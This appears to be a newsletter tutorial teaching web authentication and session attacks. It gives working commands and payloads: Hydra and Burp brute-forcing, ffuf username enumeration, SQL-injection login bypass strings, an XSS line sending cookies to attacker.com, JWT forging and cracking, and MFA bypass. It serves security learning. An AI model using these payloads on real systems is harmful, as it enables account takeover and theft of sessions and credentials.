- Zero-Day Wire
- Posts
- Break the Web (Week 2): Authentication & Session Management
Break the Web (Week 2): Authentication & Session Management
How to Break Logins, Hijack Sessions & Bypass Auth Like a Pro
π― Week 2: Authentication & Session Management
Break the Web: Part 2 of 8
Welcome back to Offensive Tuesday.
Hey π
Last week we mapped the attack surface. You found subdomains, open ports, and exposed services. If you missed week 1, here it is π Click here
This week? We're breaking in.
Authentication is the front door of every web app. And session management is what keeps you inside once you're through.
Here's the deal β most apps get this wrong. Weak passwords, broken session tokens, predictable cookies, missing 2FA.
Today you're learning how to exploit all of it.
Let's get into it.
βDo you sell on Amazon or Walmart but struggle to drive external traffic that converts?
Is Your PPC Strategy Leaving Money on the Table?
Whenβs the last time you updated your digital marketing strategy?
If youβre relying on old-school PPC tactics you might be missing out on a major revenue opportunity.
Levantaβs Affiliate Ad Shift Calculator shows how shifting budget from PPC to creator-led partnerships can significantly improve conversion rates, ROI, and efficiency.
Discover how optimizing your affiliate strategy can unlock new profit potential:
Commission structure: Find the ideal balance between cost and performance
Traffic mix: See how creator-driven traffic impacts conversions
Creator engagement: Measure how authentic partnerships scale ROI
Built for brands ready to modernize how they grow.
π§ What is Authentication?
Authentication proves who you are.
Common methods:
Username + Password (most attacked)
Multi-Factor Authentication (SMS, authenticator apps)
OAuth (Login with Google/GitHub)
API Keys
Biometrics
Your goal: bypass, brute-force, or steal credentials.
π What is Session Management?
Once authenticated, the server remembers you with a session token (usually a cookie).
Think of it like a wristband at a concert. Show it once, get in. Keep wearing it, stay in.
Your goal: steal, hijack, or forge session tokens.
π§ The Attack Process
Step 1: Identify the Login Mechanism
Open DevTools (F12) β Network tab β Try logging in
Watch for:
POST requests to
/login,/auth,/signinSet-CookieheadersJWT tokens
Session IDs
Using Burp Suite:
Intercept the login:
POST /login HTTP/1.1
username=admin&password=password123
Response:
Set-Cookie: session=abc123xyz; HttpOnly; Secure
That's your session token.
Step 2: Test for Weak Passwords
Default Credentials
Try these first:
admin / admin
admin / password
root / root
Brute Force with Hydra
hydra -l admin -P rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
-l adminβ Username-P rockyou.txtβ Password listF=incorrectβ Failure string
Using Burp Intruder
Capture login request
Send to Intruder (Ctrl+I)
Mark password field as payload
Load password list
Look for different response length
Step 3: Username Enumeration
Apps often respond differently for valid vs invalid usernames.
Valid: "Incorrect password"
Invalid: "User not found"
With ffuf:
ffuf -w usernames.txt -X POST -d "username=FUZZ&password=test" -u https://target.com/login -fc 401
Step 4: Bypass Authentication
SQL Injection
Try these in the username field:
' OR '1'='1
' OR '1'='1'--
admin'--
Why it works:
SELECT * FROM users WHERE username='' OR '1'='1'--' AND password='anything'
'1'='1' is always true. -- comments out the password check.
Logic Flaws
Try adding parameters:
POST /login
username=admin&password=wrong&authenticated=true
Or manipulate cookies:
Set-Cookie: loggedin=false
Change to:
Cookie: loggedin=true
Step 5: Session Token Analysis
Check your cookies in DevTools β Application β Cookies
Look for:
HttpOnly β JavaScript can't access β
Secure β Only sent over HTTPS β
SameSite β Protects against CSRF β
Weak cookie:
Set-Cookie: session=abc123;
Strong cookie:
Set-Cookie: session=xyz789; HttpOnly; Secure; SameSite=Strict
Step 6: Session Hijacking
Method 1: XSS (if available)
<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>
Method 2: Network Sniffing
sudo tcpdump -i wlan0 -A | grep "Cookie:"
Method 3: Session Fixation
Get a session ID from the site
Send victim:
https://target.com/login?sessionid=YOUR_IDVictim logs in
You share their session
Step 7: JWT Token Attacks
A JWT looks like:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature
Three parts: Header.Payload.Signature
Decode it:
Use jwt.io or:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
Attack 1: None Algorithm
Change "alg" to "none" and remove signature:
eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Attack 2: Weak Secret
Crack it:
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
Attack 3: Payload Manipulation
Decode payload:
{"user": "john", "role": "user"}
Change to:
{"user": "admin", "role": "admin"}
Re-encode and test.
Step 8: MFA Bypass
Response Manipulation
Intercept:
POST /verify-mfa
code=123456
Response:
{"valid": false}
Change to:
{"valid": true}
Brute Force
6-digit codes = 1 million possibilities. Use Burp Intruder with numbers 0-999999.
Session Not Invalidated
Login without completing MFA. Check if you got a session token anyway.
π οΈ Tool List
Password Attacks
Hydra β github.com/vanhauser-thc/thc-hydra
Burp Suite β portswigger.net/burp
Session Analysis
Burp Suite β portswigger.net/burp
OWASP ZAP β zaproxy.org
JWT Attacks
jwt_tool β github.com/ticarpi/jwt_tool
jwt.io β jwt.io
Hashcat β hashcat.net
Password Lists
rockyou.txt β /usr/share/wordlists/rockyou.txt
SecLists β github.com/danielmiessler/SecLists
π Learning Resources
Practice:
PortSwigger Academy β portswigger.net/web-security
TryHackMe β Authentication Bypass room
Hack The Box β hackthebox.com
Reading:
OWASP Authentication Cheat Sheet
PortSwigger authentication vulnerabilities
HackerOne bug bounty reports
β Week 2 Checklist
[ ] Identify how a web app handles authentication
[ ] Perform brute force with Hydra
[ ] Test for username enumeration
[ ] Attempt SQL injection in login forms
[ ] Analyze session cookies
[ ] Decode and manipulate JWT tokens
[ ] Recognize MFA bypass techniques
π― Key Takeaways
Authentication is the weakest link. Default credentials and weak passwords are everywhere.
Sessions are just tokens. Steal the token, steal the session.
JWTs can be cracked. Weak secrets, none algorithm, and payload manipulation all work.
MFA isn't foolproof. Response manipulation and brute force can bypass it.
Test systematically. Identify β test credentials β analyze tokens β exploit.
That's Week 2. π₯
Tomorrow (Wednesday): how to build secure authentication and defend against these attacks.
Next Tuesday: Access Control & IDOR β we're breaking authorization.
See you then.
Your Feedback MattersDid You Enjoy This Weekβs Offensive Tutorial? |
β ZwireβοΈ
P.S. Got questions? Reply to this email. I read everything.


Reply